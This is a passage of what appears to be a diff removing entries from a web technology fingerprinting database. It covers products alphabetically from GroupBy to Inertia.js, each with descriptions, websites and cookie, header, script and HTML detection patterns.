"GroupBy": { - "description": "GroupBy is a search enging for eCommerce sites.", - "website": "https://groupbyinc.com/" - }, - "Growave": { - "description": "Growave is the all-in-one app: social login and sharing, reviews, wishlists, instagram feed, automated emails and more.", - "website": "https://growave.io" - }, - "GrowingIO": { - "cookies": { - "gr_user_id": "", - "grwng_uid": "" - }, - "website": "https://www.growingio.com/" - }, - "Guestonline": { - "description": "Guestonline is a restaurant table booking widget.", - "website": "https://www.guestonline.io" - }, - "GuideIT": { - "headers": { - "platform": "^guideit$" - }, - "description": "GuideIT is a cloud hosting provider.", - "website": "https://guideit.uk" - }, - "GumGum": { - "description": "GumGum is a technology and media company specializing in contextual intelligence.", - "website": "https://gumgum.com" - }, - "Gumlet": { - "js": [ - "gumlet" - ], - "description": "Gumlet is a solution to optimize images.", - "website": "https://www.gumlet.com/" - }, - "Gumroad": { - "cookies": { - "_gumroad_app_session": "", - "_gumroad_guid": "" - }, - "js": [ - "gumroadoverlay", - "creategumroadoverlay" - ], - "description": "Gumroad is a self-publishing digital marketplace platform to sell digital services such as books, memberships, courses and other digital services.", - "website": "https://gumroad.com" - }, - "Gumstack": { - "js": [ - "gumstack" - ], - "description": "Gumstack provides a live video shopping solution for eCommerce.", - "website": "https://gumstack.com/" - }, - "Gutenberg": { - "description": "Gutenberg is the code name for the new block based editor introduced in WordPress 5.", - "website": "https://github.com/WordPress/gutenberg" - }, - "H2O": { - "cookies": { - "h2o_casper": "" - }, - "headers": { - "server": "^h2o(?:/)?([\\d\\.]+)?\\;version:\\1" - }, - "implies": [ - "C", - "HTTP/2" - ], - "description": "H2O is a fast and secure HTTP/2 server written in C by Kazuho Oku.", - "website": "https://github.com/h2o/h2o" - }, - "HCL Commerce": { - "implies": [ - "Java" - ], - "description": "HCL Commerce is a software platform framework for ecommerce, including marketing, sales, customer and order processing functionality.", - "website": "https://www.hcltechsw.com/commerce" - }, - "HCL Digital Experience": { - "js": [ - "ibmcfg.themeconfig.moduleswebappbaseuri" - ], - "headers": { - "ibm-web2-location": "", - "itx-generated-timestamp": "" - }, - "implies": [ - "Java" - ], - "description": "HCL Digital Experience software empowers you to create, manage and deliver engaging omni-channel digital experiences to virtually all audiences.", - "website": "https://www.hcltechsw.com/dx" - }, - "HCL Domino": { - "headers": { - "server": "^lotus-domino$" - }, - "implies": [ - "Java" - ], - "description": "HCL Domino, formerly called IBM Domino (1995) and Lotus Domino (1989), is an enterprise server application development platform.", - "website": "https://www.hcltechsw.com/domino" - }, - "HHVM": { - "headers": { - "x-powered-by": "hhvm/?([\\d.]+)?\\;version:\\1" - }, - "implies": [ - "PHP\\;confidence:75" - ], - "website": "http://hhvm.com" - }, - "HP Compact Server": { - "headers": { - "server": "hp_compact_server(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://hp.com" - }, - "HP iLO": { - "headers": { - "server": "hp-ilo-server(?:/([\\d.]+))?\\;version:\\1" - }, - "description": "HP iLO is a tool that provides multiple ways to configure, update, monitor, and run servers remotely.", - "website": "http://hp.com" - }, - "HSTS": { - "headers": { - "strict-transport-security": "" - }, - "description": "HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.", - "website": "https://www.rfc-editor.org/rfc/rfc6797#section-6.1" - }, - "HTTP/2": { - "headers": { - "alt-svc": "h2", - "x-firefox-spdy": "h2" - }, - "description": "HTTP/2 (originally named HTTP/2.0) is a major revision of the HTTP network protocol used by the World Wide Web.", - "website": "https://http2.github.io" - }, - "HTTP/3": { - "headers": { - "alt-svc": "h3", - "x-firefox-http3": "h3" - }, - "description": "HTTP/3 is the third major version of the Hypertext Transfer Protocol used to exchange information on the World Wide Web.", - "website": "https://httpwg.org/" - }, - "Haddock": { - "html": [ - "\u003cp\u003eproduced by \u003ca href=\"http://www\\.haskell\\.org/haddock/\"\u003ehaddock\u003c/a\u003e version ([0-9.]+)\u003c/p\u003e\\;version:\\1" - ], - "description": "Haddock is a tool for automatically generating documentation from annotated Haskell source code.", - "website": "http://www.haskell.org/haddock/" - }, - "Halo": { - "meta": { - "generator": [ - "halo ([\\d.]+)?\\;version:\\1" - ] - }, - "implies": [ - "Java" - ], - "website": "https://halo.run" - }, - "Hamechio": { - "meta": { - "generator": [ - "hamech\\.io/" - ] - }, - "implies": [ - "PHP" - ], - "description": "Hamechio is a web application framework.", - "website": "https://hamech.io" - }, - "Hammer.js": { - "js": [ - "ha.version", - "hammer", - "hammer.version" - ], - "website": "https://hammerjs.github.io" - }, - "Handlebars": { - "js": [ - "handlebars", - "handlebars.version" - ], - "html": [ - "\u003c[^\u003e]*type=[^\u003e]text\\/x-handlebars-template" - ], - "description": "Handlebars is a JavaScript library used to create reusable webpage templates.", - "website": "http://handlebarsjs.com" - }, - "Handtalk": { - "js": [ - "handtalk" - ], - "description": "Handtalk is an accessiblity plug-in which uses sign language to make sites accessible.", - "website": "https://www.handtalk.me/" - }, - "Hansel": { - "js": [ - "hansel", - "hanselpx" - ], - "description": "Hansel is a B2B enterprise software that deploys real-time Nudges to drive feature adoption and address user drop-offs, at scale.", - "website": "https://hansel.io" - }, - "Happy Returns": { - "description": "Happy Returns is a return software and reverse logistics company, provides a packaging-free, in-person way for customers to return an online purchase for an immediate refund.", - "website": "https://happyreturns.com" - }, - "HappyFox Helpdesk": { - "description": "HappyFox is a help desk ticketing system that is hosted on cloud, supporting multiple customer support channels like email, voice and live chat.", - "website": "https://www.happyfox.com/customer-service-software/" - }, - "HappyFox Live Chat": { - "js": [ - "happyfoxchatobject" - ], - "description": "HappyFox is a help desk ticketing system that is hosted on cloud, supporting multiple customer support channels like email, voice and live chat.", - "website": "https://www.happyfox.com/live-chat" - }, - "Haptik": { - "js": [ - "haptik", - "haptikinitsettings", - "haptiksdk" - ], - "description": "Haptik is an Indian enterprise conversational AI platform founded in August 2013, and acquired by Reliance Industries Limited in 2019.", - "website": "https://www.haptik.ai" - }, - "Haravan": { - "js": [ - "haravan" - ], - "description": "Haravan is a multi-channel ecommerce services provider from Vietnam.", - "website": "https://www.haravan.com" - }, - "Harbor": { - "implies": [ - "Go" - ], - "description": "Harbor is an open-source registry that secures artifacts with policies and role-based access control, ensures images are scanned and free from vulnerabilities, and signs images as trusted.", - "website": "https://goharbor.io" - }, - "HashThemes Total": { - "description": "HashThemes Total is the powerful and creative multipurpose WordPress theme.", - "website": "https://hashthemes.com/wordpress-theme/total" - }, - "Hashnode": { - "description": "Hashnode is a free developer blogging platform that allows you to publish articles on your own domain and helps you stay connected with a global developer community.", - "website": "https://hashnode.com/" - }, - "Haskell": { - "website": "http://wiki.haskell.org/Haskell" - }, - "Hatena Blog": { - "description": "Hatena Blog is one of the traditional blog platforms in Japan.", - "website": "https://hatenablog.com" - }, - "HeadJS": { - "js": [ - "head.browser.name" - ], - "html": [ - "\u003c[^\u003e]*data-headjs-load" - ], - "website": "http://headjs.com" - }, - "Headless UI": { - "description": "Headless UI is an unstyled component library for either React.js or Vue.js from the same people that created Tailwind CSS.", - "website": "https://headlessui.dev" - }, - "Heap": { - "js": [ - "heap.version.heapjsversion" - ], - "description": "Heap is an analytics platform.", - "website": "https://heap.io" - }, - "Heartland Payment Systems": { - "description": "Heartland Payment Systems is a US-based payment processing and technology provider.", - "website": "https://www.heartlandpaymentsystems.com" - }, - "Helhost": { - "headers": { - "x-powered-by": "helhost" - }, - "description": "Helhost is a web hosting provider and internet domain registrar from Democratic Republic of Congo.", - "website": "https://www.helhost.com" - }, - "HeliumWeb": { - "js": [ - "helium.js" - ], - "headers": { - "x-powered-by": "adrikikicp development" - }, - "implies": [ - "PHP" - ], - "description": "HeliumWeb is a server-side (backend) web framework written in PHP \u0026 JavaScript", - "website": "https://heliumweb.adrikikicp-development.ml" - }, - "Helix Ultimate": { - "implies": [ - "Joomla" - ], - "description": "Helix Ultimate a free template framework for Joomla.", - "website": "https://www.joomshaper.com/joomla-templates/helixultimate" - }, - "Helixo UFE": { - "js": [ - "ufe.funneldata", - "ufestore.carttotal" - ], - "implies": [ - "Shopify" - ], - "description": "Helixo UFE is a lightweight Shopify upsell sales funnel app.", - "website": "https://helixo.co/upsell-funnel-engine/" - }, - "Hello Bar": { - "js": [ - "hellobar", - "hellobarsitesettings" - ], - "description": "Hello Bar is a customizable notification bar that draws visitors to an important call to action on the website.", - "website": "http://hellobar.com" - }, - "Hello Elementor": { - "implies": [ - "Elementor" - ], - "description": "Hello Elementor is a WordPress theme built for the Elementor website builder platform. It uses minimal styling and scripts for maximum speed and design freedom.", - "website": "https://elementor.com/hello-theme/" - }, - "Help Scout": { - "js": [ - "__onbeacondestroy", - "beaconstore" - ], - "description": "Help Scout is a customer service platform including email, a knowledge base tool and live chat.", - "website": "https://www.helpscout.com" - }, - "HelpDocs": { - "js": [ - "hd_instant_search", - "hdanalytics", - "hdutils" - ], - "description": "HelpDocs is an knowledge management system.", - "website": "https://www.helpdocs.io" - }, - "Here": { - "js": [ - "h.buildinfo", - "h.geo", - "h.util" - ], - "description": "HERE is a PaaS for creating custom maps, visualize location datasets, gather insights and buy and sell location assets.", - "website": "https://www.here.com" - }, - "Hermes": { - "description": "Hermes offers integrated solutions along the supply chain and partners with national and international trading companies.", - "website": "https://www.hermesworld.com" - }, - "Hero": { - "js": [ - "herowebpluginsettings" - ], - "implies": [ - "Cart Functionality" - ], - "description": "Hero is a virtual shopping platform for ecommerce and retail stores.", - "website": "https://www.usehero.com/" - }, - "Heroku": { - "headers": { - "via": "[\\d.-]+ vegur$" - }, - "description": "Heroku is a cloud platform as a service (PaaS) supporting several programming languages.", - "website": "https://www.heroku.com/" - }, - "Hestia": { - "description": "Hestia is a modern WordPress theme for professionals a multipurpose one-page design, widgetized footer, blog/news page, and a clean look.", - "website": "https://themeisle.com/themes/hestia/" - }, - "HetrixTools": { - "js": [ - "htoolz" - ], - "headers": { - "content-security-policy": "\\.hetrixtools\\.com" - }, - "description": "HetrixTools is an uptime and blacklist monitoring platform.", - "website": "https://hetrixtools.com" - }, - "Hetzner": { - "headers": { - "server": "heray", - "x-powered-by": "hetzner" - }, - "description": "Hetzner provides dedicated hosting, shared web hosting, virtual private servers, managed servers, domain names, SSL certificates, storage boxes, and cloud.", - "website": "https://www.hetzner.com" - }, - "Hexo": { - "html": [ - "powered by \u003ca href=\"https?://hexo\\.io/?\"[^\u003e]*\u003ehexo\u003c/" - ], - "meta": { - "generator": [ - "hexo(?: v?([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "Node.js" - ], - "description": "Hexo is a blog framework powered by Node.js.", - "website": "https://hexo.io" - }, - "Hextom Free Shipping Bar": { - "implies": [ - "Shopify" - ], - "description": "Free Shipping Bar is a Shopify app built by Hextom. Free Shipping Bar help promote free shipping with progressive messages to motivate customers to buy more.", - "website": "https://hextom.com/case_study/free-shipping-bar" - }, - "Hextom Ultimate Sales Boost": { - "js": [ - "hextom_usb", - "ht_usb.isloaded" - ], - "implies": [ - "Shopify" - ], - "description": "Ultimate Sales Boost by Hextom is an app designed to help you drive more sales by creating a sense of urgency, scarcity and trust.", - "website": "https://hextom.com/case_study/ultimate-sales-boost" - }, - "Hi Platform": { - "description": "Hi Platform provider of an online customer relationship platform.", - "website": "https://www.hiplatform.com" - }, - "Hiawatha": { - "headers": { - "server": "hiawatha v([\\d.]+)\\;version:\\1" - }, - "website": "http://hiawatha-webserver.org" - }, - "HighStore": { - "meta": { - "generator": [ - "^highstore\\.ir$" - ], - "hs:version": [ - "^([\\d\\.]+)$\\;version:\\1\\;confidence:50" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "HighStore is an ecommerce platform from Iran.", - "website": "https://digitalserver.ir" - }, - "Highcharts": { - "js": [ - "highcharts", - "highcharts.version" - ], - "html": [ - "\u003csvg[^\u003e]*\u003e\u003cdesc\u003ecreated with highcharts ([\\d.]*)\\;version:\\1" - ], - "description": "Highcharts is a charting library written in pure JavaScript, for adding interactive charts to a website or web application. Highcharts meets accessibility standards and works with Python, Angular, React, iOS, Android, and more.", - "website": "https://www.highcharts.com" - }, - "Highlight.js": { - "js": [ - "hljs.highlightblock", - "hljs.listlanguages" - ], - "website": "https://highlightjs.org/" - }, - "Highstock": { - "html": [ - "\u003csvg[^\u003e]*\u003e\u003cdesc\u003ecreated with highstock ([\\d.]*)\\;version:\\1" - ], - "website": "http://highcharts.com/products/highstock" - }, - "HikeOrders": { - "description": "HikeOrders is a web accessibility overlay that claims to make your site disability friendly.", - "website": "https://hikeorders.com/" - }, - "Hinza Advanced CMS": { - "meta": { - "generator": [ - "hinzacms" - ] - }, - "implies": [ - "Laravel" - ], - "website": "http://hinzaco.com" - }, - "Hireology": { - "description": "Hireology is a staffing and hiring platform for the franchise and retail-automotive industries.", - "website": "https://hireology.com" - }, - "Hirschmann HiOS": { - "description": "Hirschmann HiOS is an operating system for industrial network equipment.", - "website": "https://hirschmann.com/" - }, - "Histats": { - "js": [ - "histats.ver" - ], - "description": "Histats is a simple website visitor analysis and tracking tool.", - "website": "https://www.histats.com" - }, - "History": { - "description": "Manage session history with JavaScript", - "website": "https://github.com/ReactTraining/history" - }, - "Hoefler\u0026Co": { - "description": "Hoefler\u0026Co is a digital type foundry (font design studio) in Woburn, Massachusetts (formerly New York City), founded by type designer Jonathan Hoefler. Hoefler\u0026Co designs typefaces for clients and for retail on its website.", - "website": "https://www.typography.com" - }, - "Hogan.js": { - "js": [ - "hogan" - ], - "website": "https://twitter.github.io/hogan.js/" - }, - "Homerr": { - "description": "Homerr is a logistics company operating in the Netherlands and Belgium.", - "website": "https://www.homerr.com" - }, - "Homestead": { - "meta": { - "generator": [ - "^homestead sitebuilder$" - ] - }, - "description": "Homestead is a website builder.", - "website": "https://www.homestead.com" - }, - "Honeybadger": { - "js": [ - "honeybadger", - "inithoneybadger" - ], - "description": "Honeybadger provides exception and uptime monitoring to keep your web apps error-free.", - "website": "https://www.honeybadger.io" - }, - "Hono": { - "headers": { - "x-powered-by": "hono" - }, - "description": "Hono is a small, simple, and ultrafast web framework for the Edge.", - "website": "https://hono.dev" - }, - "HostEurope": { - "description": "HostEurope is a European website hosting, email and domain name registrar company headquartered Hayes, West London.", - "website": "https://www.hosteurope.de" - }, - "Hostens": { - "description": "Hostens is a web hosting company specialising in hosting services, virtual private server hosting, and the domain name or transition.", - "website": "https://www.hostens.com" - }, - "Hostgator": { - "description": "HostGator is a Houston-based provider of shared, reseller, virtual private server, and dedicated web hosting with an additional presence in Austin, Texas.", - "website": "https://www.hostgator.com" - }, - "Hosting Ukraine": { - "description": "Hosting Ukraine is a web hosting provider and internet domain registrar.", - "website": "https://www.ukraine.com.ua" - }, - "Hostinger": { - "headers": { - "platform": "hostinger" - }, - "description": "Hostinger is an employee-owned Web hosting provider and internet domain registrar.", - "website": "https://www.hostinger.com" - }, - "Hostinger CDN": { - "headers": { - "server": "hcdn" - }, - "description": "Hostinger Content Delivery Network (CDN).", - "website": "https://www.hostinger.com" - }, - "Hostinger Website Builder": { - "meta": { - "generator": [ - "hostinger website builder" - ] - }, - "implies": [ - "Vue.js" - ], - "description": "Hostinger Website Builder is a web-based platform that allows users to create and design websites without needing to write code or have extensive technical knowledge.", - "website": "https://www.hostinger.com" - }, - "Hostiq": { - "description": "Hostiq is a web hosting provider and internet domain registrar.", - "website": "https://hostiq.ua" - }, - "Hostmeapp": { - "description": "Hostmeapp is an restaurant software. Includes reservation, waitlist, guestbook and marketing tools.", - "website": "https://www.hostmeapp.com" - }, - "Hostpoint": { - "description": "Hostpoint is a Switzerland-based web hosting company.", - "website": "https://www.hostpoint.ch" - }, - "Hotaru CMS": { - "cookies": { - "hotaru_mobile": "" - }, - "meta": { - "generator": [ - "hotaru cms" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://hotarucms.org" - }, - "Hotjar": { - "js": [ - "hotleadcontroller", - "hj.apiurlbase", - "hotleadfactory" - ], - "description": "Hotjar is a suite of analytic tools to assist in the gathering of qualitative data, providing feedback through tools such as heatmaps, session recordings, and surveys.", - "website": "https://www.hotjar.com" - }, - "Hotjar Incoming Feedback": { - "description": "Hotjar Incoming Feedback is a widget that sits at the edge of a page.", - "website": "https://www.hotjar.com" - }, - "Howler.js": { - "js": [ - "howler", - "howlerglobal" - ], - "description": "Howler.js is an audio library with support for the Web Audio API and a fallback mechanism for HTML5 Audio.", - "website": "https://howlerjs.com" - }, - "HrFlow.ai": { - "description": "HrFlow.ai is an HR data automation API platform.", - "website": "https://hrflow.ai" - }, - "Htmx": { - "js": [ - "htmx" - ], - "description": "Htmx is a JavaScript library for performing AJAX requests, triggering CSS transitions, and invoking WebSocket and server-sent events directly from HTML elements.", - "website": "https://htmx.org" - }, - "HubSpot": { - "js": [ - "_hsq", - "hubspot" - ], - "html": [ - "\u003c!-- start of async hubspot" - ], - "description": "HubSpot is a marketing and sales software that helps companies attract visitors, convert leads, and close customers.", - "website": "https://www.hubspot.com" - }, - "HubSpot Analytics": { - "description": "HubSpot is a marketing and sales software that helps companies attract visitors, convert leads, and close customers.", - "website": "https://www.hubspot.com/products/marketing/analytics" - }, - "HubSpot CMS Hub": { - "headers": { - "x-hs-hub-id": "", - "x-powered-by": "hubspot" - }, - "meta": { - "generator": [ - "hubspot" - ] - }, - "implies": [ - "HubSpot" - ], - "description": "CMS Hub is a content management platform by HubSpot for marketers to manage, optimize, and track content performance on websites, blogs, and landing pages.", - "website": "https://www.hubspot.com/products/cms" - }, - "HubSpot Chat": { - "js": [ - "hubspotconversations" - ], - "description": "HubSpot Chat is a tool where you can view, manage, and reply to incoming messages from multiple channels.", - "website": "https://www.hubspot.com/products/crm/live-chat" - }, - "HubSpot Cookie Policy Banner": { - "description": "HubSpot Cookie Policy banner is a cookie compliance functionality from HubSpot.", - "website": "https://knowledge.hubspot.com/reports/customize-your-cookie-tracking-settings-and-privacy-policy-alert" - }, - "HubSpot WordPress plugin": { - "js": [ - "leadin_wordpress.leadinpluginversion" - ], - "implies": [ - "HubSpot", - "HubSpot Analytics" - ], - "description": "HubSpot is a platform with all the tools and integrations you need for marketing, sales, and customer service. HubSpot WordPress plugin allows you to manage contacts (CRM), engage visitors with live chat and chatbots, add beautiful forms to pages, create engaging email marketing campaigns, and more.", - "website": "https://wordpress.org/plugins/leadin/" - }, - "Huberway": { - "cookies": { - "huberway_session": "" - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "Huberway is a content management system, based on PHP and JavaScript, used to create advanced sales portals oriented towards industrialization 4.0.", - "website": "https://www.huberway.com" - }, - "Huberway Analytics": { - "description": "Huberway Analytics is a free web analytics service that tracks and reports website traffic.", - "website": "https://www.huberway.com/analytics-software" - }, - "Huddle": { - "js": [ - "huddleevent", - "huddleuser" - ], - "description": "Huddle is a digital product agency based in Amsterdam, Netherlands, specialising in developing and designing custom software solutions for startups and enterprises, including e-learning products, community platforms, and mobile applications.", - "website": "https://www.thehuddle.nl" - }, - "Hugo": { - "meta": { - "generator": [ - "hugo ([\\d.]+)?\\;version:\\1" - ] - }, - "description": "Hugo is an open-source static site generator written in Go.", - "website": "http://gohugo.io" - }, - "HulkApps Age Verification": { - "implies": [ - "Shopify" - ], - "description": "HulkApps Age Verification allow your customers to certify their age before they land in your store.", - "website": "https://www.hulkapps.com/products/age-verification-shopify" - }, - "HulkApps Form Builder": { - "implies": [ - "Shopify" - ], - "description": "HulkApps Form Builder is an application that creates customizable, job-specific forms for unit needs.", - "website": "https://www.hulkapps.com/products/form-builder-shopify" - }, - "HulkApps GDPR/CCPA Compliance Manager": { - "js": [ - "hulksetcookie" - ], - "implies": [ - "Shopify" - ], - "description": "HulkApps GDPR/CCPA Compliance Manager is a consent management solution.", - "website": "https://www.hulkapps.com/products/gdpr-ccpa-cookie-manager-shopify-app" - }, - "HulkApps Infinite Product Options": { - "js": [ - "hulkapps.po_url" - ], - "implies": [ - "Shopify" - ], - "description": "HulkApps Infinite Product Options is a unlimited custom options for products. Display variant options as buttons, color and image swatches, and more.", - "website": "https://www.hulkapps.com/products/infinite-product-options-shopify" - }, - "HulkApps Product Reviews": { - "js": [ - "hulkappsproductreview", - "hulkappsreviews" - ], - "implies": [ - "Shopify" - ], - "description": "HulkApps Product Reviews is a customer product reviews app for building social proof for store.", - "website": "https://www.hulkapps.com/products/product-reviews-shopify" - }, - "Human Presence": { - "description": "Human Presence is a bot detection and spam protection software for WordPress and Shopify.", - "website": "https://www.humanpresence.io" - }, - "Humm": { - "js": [ - "checkout.enabledpayments.humm" - ], - "description": "Humm (formerly Flexigroup) is a buy now pay later service operating in Australia.", - "website": "https://www.shophumm.com" - }, - "Hund.io": { - "description": "Hund.io is an automated status pages with monitoring.", - "website": "https://hund.io" - }, - "Hushly": { - "js": [ - "__hly_widget_object" - ], - "description": "Hushly is an all-in-one B2B marketing software platform.", - "website": "https://www.hushly.com" - }, - "Hydrogen": { - "headers": { - "powered-by": "^shopify-hydrogen$" - }, - "implies": [ - "Shopify", - "React", - "Vite" - ], - "description": "Hydrogen is a front-end web development framework used for building Shopify custom storefronts.", - "website": "https://hydrogen.shopify.dev" - }, - "Hypercorn": { - "headers": { - "server": "hypercorn" - }, - "implies": [ - "Python" - ], - "website": "https://pgjones.gitlab.io/hypercorn/" - }, - "Hyperspeed": { - "js": [ - "hyperscripts" - ], - "implies": [ - "Shopify", - "Instant.Page" - ], - "description": "Hyperspeed is the most advanced speed booster for Shopify.", - "website": "https://www.hyperspeed.me" - }, - "Hypervisual Page Builder": { - "js": [ - "hypervisualpreflight" - ], - "description": "Hypervisual Page Builder is a page builder for Shopify.", - "website": "https://gethypervisual.com" - }, - "Hypestyle CSS": { - "implies": [ - "Sass" - ], - "description": "Hypestyle CSS is a small CSS library build on utility classes and components.", - "website": "https://www.hypestylecss.xyz" - }, - "Hyva Themes": { - "headers": { - "x-built-with": "^hyva themes$" - }, - "implies": [ - "Magento\\;version:2", - "Tailwind CSS", - "Alpine.js" - ], - "description": "Hyva Themes is a performance-optimised theme for Magento 2 which eliminated the third-party libraries and having only two dependencies Alpine.js and Tailwind CSS.", - "website": "https://hyva.io" - }, - "IBM Coremetrics": { - "website": "http://ibm.com/software/marketing-solutions/coremetrics" - }, - "IBM DataPower": { - "headers": { - "x-backside-transport": "", - "x-global-transaction-id": "" - }, - "description": "IBM DataPower Gateway is a single multi-channel gateway designed to help provide security, control, integration and optimized access to a full range of mobile, web, application programming interface (API), service-oriented architecture (SOA), B2B and cloud workloads.", - "website": "https://www.ibm.com/products/datapower-gateway" - }, - "IBM HTTP Server": { - "headers": { - "server": "ibm_http_server(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://ibm.com/software/webservers/httpservers" - }, - "IIS": { - "headers": { - "server": "^(?:microsoft-)?iis(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Windows Server" - ], - "description": "Internet Information Services (IIS) is an extensible web server software created by Microsoft for use with the Windows NT family.", - "website": "https://www.iis.net" - }, - "INFOnline": { - "js": [ - "szmvars", - "iam_data" - ], - "website": "https://www.infonline.de" - }, - "IONOS": { - "description": "IONOS is the web hosting and cloud partner for small and medium-sized businesses.", - "website": "https://www.ionos.com" - }, - "IPB": { - "cookies": { - "ipbwwlmodpids": "", - "ipbwwlsession_id": "" - }, - "js": [ - "ipboard", - "ipb_var", - "ipssettings" - ], - "html": [ - "\u003clink[^\u003e]+ipb_[^\u003e]+\\.css" - ], - "implies": [ - "PHP", - "MySQL" - ], - "website": "https://invisioncommunity.com/" - }, - "IPFS": { - "headers": { - "x-cf-ipfs-cache-status": "", - "x-ipfs-datasize": "", - "x-ipfs-gateway-host": "", - "x-ipfs-lb-pop": "", - "x-ipfs-path": "", - "x-ipfs-pop": "", - "x-ipfs-root": "", - "x-ipfs-root-cid": "", - "x-ipfs-roots": "" - }, - "description": "IPFS is a peer-to-peer hypermedia protocol that provides a distributed hypermedia web.", - "website": "https://ipfs.tech/" - }, - "IPInfoDB": { - "description": "IPInfoDB is the API that returns the location of an IP address.", - "website": "https://www.ipinfodb.com/" - }, - "IPinfo": { - "description": "IPinfo is an IP address data provider.", - "website": "https://ipinfo.io" - }, - "ISAY": { - "description": "ISAY (Internet Pages Management) is a CMS service provided by the Turkish Ministry of Interior for governorships, district governorships and various official websites.", - "website": "https://www.icisleri.gov.tr/internet-sayfalari-yonetimi-isay" - }, - "Iamport": { - "js": [ - "imp.request_pay" - ], - "description": "Iamport is an information technology company based in South Korea.", - "website": "https://www.iamport.kr" - }, - "Ibexa DXP ": { - "headers": { - "x-powered-by": "^ibexa\\sexperience\\sv([\\d\\.]+)$\\;version:\\1" - }, - "implies": [ - "PHP", - "Symfony" - ], - "description": "Ibexa DXP is an open-source enterprise PHP content management system (CMS) and Digital Experience Platform (DXP) developed by the company Ibexa (known previously as eZ Systems).", - "website": "https://www.ibexa.co" - }, - "Ideasoft": { - "description": "Ideasoft is a Turkish software company providing web-based software solutions, software design, ecommerce solutions, and other services.", - "website": "https://www.ideasoft.com.tr" - }, - "Identrust": { - "description": "denTrust is a digital identity authentication solution.", - "website": "https://www.identrust.com/" - }, - "IdoSell Shop": { - "js": [ - "iai_ajax" - ], - "description": "IdoSell Shop is a fully functional ecommerce software platform.", - "website": "https://www.idosell.com" - }, - "Ikas": { - "js": [ - "ikasevents.subscribe" - ], - "headers": { - "server": "^ikas$", - "x-powered-by": "^ikas$" - }, - "implies": [ - "Next.js", - "GraphQL", - "MongoDB" - ], - "description": "Ikas is a new generation ecommerce platform designed for small businesses.", - "website": "https://ikas.com" - }, - "Iluria": { - "js": [ - "iluria", - "iluriashowpagination" - ], - "description": "Iluria is a hosted ecommerce platform from Brazil.", - "website": "https://www.iluria.com.br" - }, - "Image Relay": { - "js": [ - "imagerelay.accounts" - ], - "description": "Image Relay is a digital asset management system that allows organizations to upload, manage, organize, monitor and track their digital assets.", - "website": "https://www.imagerelay.com" - }, - "ImageEngine": { - "description": "ImageEngine is an intelligent image content delivery network. ImageEngine will resize your image content tailored to the end users device.", - "website": "https://imageengine.io" - }, - "Imagely NextGEN Gallery": { - "description": "NextGEN Gallery is a WordPress gallery plugin maintained by Imagely.", - "website": "https://www.imagely.com/wordpress-gallery-plugin" - }, - "Imber": { - "js": [ - "$imber.getvisitor", - "imber_id", - "imber_socket" - ], - "description": "Imber is an all-in-one marketing automation platform built for customer support (live chat), sales, and marketing.", - "website": "https://imber.live" - }, - "Imgix": { - "description": "Imgix is a visual media platform for managing, processing, rendering, optimising and delivering your existing images.", - "website": "https://imgix.com/" - }, - "Immutable.js": { - "js": [ - "immutable.version", - "immutable" - ], - "website": "https://facebook.github.io/immutable-js/" - }, - "Impact": { - "js": [ - "impactradiusevent", - "irevent" - ], - "description": "Impact helps businesses contract and pay partners.", - "website": "https://impact.com/" - }, - "Imperva": { - "headers": { - "x-iinfo": "" - }, - "website": "https://www.imperva.com/" - }, - "ImpressCMS": { - "cookies": { - "icmssession": "", - "impresscms": "" - }, - "meta": { - "generator": [ - "impresscms" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://www.impresscms.org" - }, - "ImpressPages": { - "meta": { - "generator": [ - "impresspages(?: cms)?( [\\d.]*)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://impresspages.org" - }, - "Imunify360": { - "headers": { - "server": "imunify360-webshield/([\\d\\.]+)\\;version:\\1" - }, - "description": "Imunify360 is a comprehensive security platform for Linux web servers which utilises machine learning technology and other advanced techniques to provide protection against various types of cyber threats, such as malware, viruses, and other attacks.", - "website": "https://www.imunify360.com" - }, - "Imweb": { - "js": [ - "imweb_template" - ], - "description": "Imweb is a ecommerce website builder software.", - "website": "https://imweb.me" - }, - "In Cart Upsell \u0026 Cross-Sell": { - "description": "In Cart Upsell \u0026 Cross-Sell is a Shopify app built by InCart Upsell, provides targeted upsells and cross-sells directly in your cart and product page.", - "website": "https://incartupsell.com" - }, - "InMoment": { - "headers": { - "content-security-policy": "\\.inmoment\\.com", - "content-security-policy-report-only": "\\.inmoment\\.com" - }, - "description": "InMoment provides SaaS based customer survey and enterprise feedback management solutions.", - "website": "https://inmoment.com" - }, - "InSyncai": { - "description": "InSyncai offers a conversational platform for enterprises to design and build chatbots having applications in customer support and services.", - "website": "https://www.insyncai.com" - }, - "Incapsula": { - "headers": { - "x-cdn": "incapsula" - }, - "description": "Incapsula is a cloud-based application delivery platform. It uses a global content delivery network to provide web application security, DDoS mitigation, content caching, application delivery, load balancing and failover services.", - "website": "http://www.incapsula.com" - }, - "Includable": { - "headers": { - "x-includable-version": "" - }, - "website": "http://includable.com" - }, - "Index Exchange": { - "description": "Index Exchange is a customizable exchange technology that enables sell side media firms to monetize ad inventories programmatically and in real time.", - "website": "https://www.indexexchange.com" - }, - "Indexhibit": { - "html": [ - "\u003c(?:link|a href) [^\u003e]+ndxz-studio" - ], - "meta": { - "generator": [ - "indexhibit" - ] - }, - "implies": [ - "PHP", - "Apache HTTP Server", - "Exhibit" - ], - "website": "http://www.indexhibit.org" - }, - "Indi": { - "js": [ - "indi.formatstats", - "indicountly.check_any_consent", - "indi_carousel.productcta" - ], - "description": "Indi is a video social network where everyone - artists, brands, retailers, nonprofits, celebrities and individuals - can connect with fans and supporters to interact directly with your brand utilising exclusive Video Challenges and Video Threads tailor made by you.", - "website": "https://indi.com" - }, - "Indico": { - "cookies": { - "makacsession": "" - }, - "html": [ - "powered by\\s+(?:cern )?\u003ca href=\"http://(?:cdsware\\.cern\\.ch/indico/|indico-software\\.org|cern\\.ch/indico)\"\u003e(?:cds )?indico( [\\d\\.]+)?\\;version:\\1" - ], - "website": "http://indico-software.org" - }, - "Indy": { - "headers": { - "server": "indy(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://indyproject.org" - }, - "Inertia.js": { - "headers": { - 